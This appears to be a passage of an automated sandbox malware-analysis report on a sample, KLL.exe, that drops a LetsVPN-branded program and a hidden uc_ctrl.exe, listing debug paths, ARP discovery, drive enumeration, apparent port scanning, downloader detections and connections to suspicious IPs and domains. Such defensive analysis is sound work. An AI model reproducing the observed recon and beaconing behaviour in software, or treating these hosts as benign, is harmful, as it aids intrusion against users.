Source:	Binary string: /_/artifacts/obj/Microsoft.Win32.Registry.AccessControl/net461-windows-Release/Microsoft.Win32.Registry.AccessControl.pdbSHA256a? source: Microsoft.Win32.Registry.AccessControl.dll.19.dr
Source:	Binary string: D:\Mannelig\Dev\Projects\NET\WpfToastNotifications\Src\ToastNotifications.Messages\obj\Release\ToastNotifications.Messages.pdb source: ToastNotifications.Messages.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000044.00000002.2599280133.0000000005092000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: e:\ExpressionRTM\Sparkle\SDK\BlendWPFSDK\Build\Intermediate\Release\Libraries\System.Windows.Interactivity\Win32\Release\System.Windows.Interactivity.pdb source: System.Windows.Interactivity.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000044.00000002.2599280133.0000000005092000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Extract: Mono.Cecil.Pdb.dll... 100% ! source: letsvpn-latest.exe, 00000013.00000003.2429017380.0000000000514000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000013.00000002.2429975005.0000000000514000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000034.00000002.4552261430.00000000063D2000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: System.Data.Common.dll.19.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000034.00000002.4560652507.000000002FC62000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: System.Security.Cryptography.Encoding.dll.19.dr
Source:	Binary string: /_/artifacts/obj/System.Data.Odbc/net461-windows-Release/System.Data.Odbc.pdbSHA256x source: System.Data.Odbc.dll.19.dr
Source:	Binary string: WebView2Loader.dll.pdb source: WebView2Loader.dll1.19.dr
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000034.00000002.4588396530.0000000038132000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000022.00000003.2329204518.00000281E46FC000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000022.00000003.2324274722.00000281E463C000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2347234042.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2347404937.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000002.2347809809.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2345791449.0000020DB2EA2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000034.00000002.4588242071.0000000038122000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: System.Linq.Queryable.dll.19.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000000.2110079362.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000034.00000002.4576795578.0000000035362000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000034.00000002.4552613363.0000000006402000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000033.00000002.2436972235.0000000000C6D000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000033.00000000.2427297840.0000000000C6D000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: System.Threading.Thread.dll.19.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: System.Diagnostics.TraceSource.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: System.Diagnostics.FileVersionInfo.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: System.Threading.Timer.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: System.Threading.Timer.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000034.00000002.4552367925.00000000063E2000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000034.00000002.4551976180.0000000006352000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000034.00000002.4567637378.0000000030B52000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000034.00000002.4567805544.0000000030B72000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000034.00000002.4551976180.0000000006352000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567805544.0000000030B72000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.4522204610.000000006E111000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: System.Diagnostics.FileVersionInfo.dll.19.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000034.00000002.4560500804.000000002FC52000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: System.Runtime.Serialization.Primitives.dll.19.dr
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 0000001D.00000002.2307967227.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2306396424.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2308899361.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2350347026.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000000.2367020724.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000002.2368504113.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: System.Runtime.Numerics.dll.19.dr
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000034.00000002.4588242071.0000000038122000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567552458.0000000030B42000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: System.ValueTuple.dll.19.dr
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4576795578.0000000035362000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000034.00000002.4552153335.00000000063C2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: System.Runtime.Numerics.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000034.00000002.4567637378.0000000030B52000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000034.00000002.4520579062.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000034.00000002.4567552458.0000000030B42000.00000002.00000001.01000000.0000002A.sdmp

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: z:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: x:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: v:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: t:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: r:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: p:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: n:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: l:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: j:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: h:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: f:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: b:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: y:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: w:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: u:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: s:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: q:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: o:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: m:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: k:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: i:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: g:	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: c:
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180027938 FindFirstFileExW,	0_2_0000000180027938
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CEFE966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,	16_2_6CEFE966
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D1A6810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,	16_2_6D1A6810

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 154.204.0.5 ports 1,2,15628,5,6,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 15628
Source: unknown	Network traffic detected: HTTP traffic on port 15628 -> 49709

Yara detected Generic Downloader

Source: Yara match	File source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\letsvpn\Update.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.5:49709 -> 154.204.0.5:15628

Source: global traffic

TCP traffic: 192.168.2.5:49720 -> 8.8.8.8:53

Source: global traffic	HTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: HqCBpIpJBHWqJaCawDGQsxZrLSec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.5:15628
Source: global traffic	HTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: NTVlYjRjZGItZWE5OS00Mg==Origin: ws://ws-ap1.pusher.com

Source: Joe Sandbox View	IP Address: 183.60.146.66 183.60.146.66
Source: Joe Sandbox View	IP Address: 5.255.255.77 5.255.255.77
Source: Joe Sandbox View	IP Address: 103.235.46.96 103.235.46.96
Source: Joe Sandbox View	IP Address: 103.235.46.96 103.235.46.96

Source: Joe Sandbox View

ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK

Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.0.5
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 183.60.146.66
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 23.98.101.155
Source: unknown	TCP traffic detected without corresponding DNS query: 35.227.223.56

Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: HqCBpIpJBHWqJaCawDGQsxZrLSec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.5:15628
Source: global traffic	HTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: NTVlYjRjZGItZWE5OS00Mg==Origin: ws://ws-ap1.pusher.com

Source: LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: os/exec.Command(]. new data: GID[^/app([0-9]+)/app^created by (.+)$bad TinySizeClassbad key algorithmbad local addressboundBindToDevicecannot find id %sclose dns channelconnectingAddresscorkOptionEnableddecryption failedduplicate addresseffectiveNetProtoentersyscallblockexec apiAgent GIDexec apiAgent RIDexec deleteRegDirexec format errorexec nicIndexToIPexec phyNIC Indexexec phyNIC SetIPexec tapIFCE Nameexec: killing Cmdexec: not startedfractional secondframe_ping_lengthg already scannedget up-going ACK glEdgeFlagPointerglPopClientAttribglTexCoordPointergp.waiting != nilhandshake failureif-modified-sinceillegal parameterin string literalindex > windowEndinteger too largeinvalid BMPStringinvalid IA5Stringinvalid bit size invalid stream IDip2if func returnipv6-only networkisConnectNotifiedjoyReleaseCapturekey align too biglocked m0 woke upmark - bad statusmarkBits overflowmciGetCreatorTaskmessage too largemidiInGetDevCapsWmidiOutGetNumDevsmidiStreamRestartmissing closing )missing closing ]missing extensionmixerGetLineInfoWmultipartmaxpartsneed re-resolve: nextId too large:nil resource bodyno available Datano data availablenoChecksumEnablednotetsleepg on g0old node version:operation abortedparameter problempermission deniedpkg/buffer.Bufferpkg/sleep.Sleeperpkg/tcpip.Addresspppoe instanceId:protect fd failedreceiveBufferSizereceiveTOSEnabledreceiveTTLEnabledreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of remoteAddr is nilruntime.newosprocruntime/internal/runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0seeker can't seekselect (no cases)set sdk loglevel:set tap static ipstack: frame={sp:start map checkerstart refresh infswept cached spansync.RWMutex.Lockthread exhaustiontimeGetSystemTimetransfer-encodingtruncated headersudp routines num:unknown caller pcunknown hostname:unknown type kindunrecognized nameupdate dns dialeruse gid:%s rid:%swait for GC cyclewaveInGetDevCapsWwaveInGetPositionwaveOutGetNumDevswebsocket: close wglGetPixelFormatwglGetProcAddresswglSetPixelFormatwine_get_versionwrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)
Source: LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: wrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ws-ap1.pusher.com
Source: global traffic	DNS traffic detected: DNS query: in.appcenter.ms
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.yandex.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: d1dmgcawtbm6l9.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: nit.crash1ytics.com
Source: global traffic	DNS traffic detected: DNS query: chr.alipayassets.com
Source: global traffic	DNS traffic detected: DNS query: nal.fqoqehwib.com

Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
